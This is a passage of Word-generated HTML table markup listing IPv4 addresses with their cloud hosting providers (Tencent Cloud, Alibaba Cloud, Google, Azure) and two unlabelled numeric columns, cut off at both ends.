<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">1,246<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">82.156.230.134<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="bottom" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">194<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">39.99.229.161<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="bottom" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">160<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">82.157.178.33<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="bottom" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">703<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">12<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">1.15.106.141<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="top" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">544<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">11<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">1.13.157.209<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="top" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">105<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">11<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="128" nowrap="" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">35.225.48.2<o:p></o:p></span></b></p>
</div>
</td>
<td width="193" nowrap="" style="width:145.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">Google</span></p>
</div>
</td>
<td width="85" nowrap="" style="width:63.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">756</span></p>
</td>
<td width="123" nowrap="" style="width:92.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="128" nowrap="" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">52.131.241.237<o:p></o:p></span></b></p>
</div>
</td>
<td width="193" nowrap="" style="width:145.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">微软</span><span lang="EN-US">Azure </span></p>
</div>
</td>
<td width="85" nowrap="" style="width:63.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2,946</span></p>
</td>
<td width="123" nowrap="" style="width:92.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">81.70.196.167<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="top" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">764<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">10<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">101.34.75.55<o:p></o:p></span></b></p>
</td>
<td width="193" nowrap="" valign="top" style="width:145.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">780<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
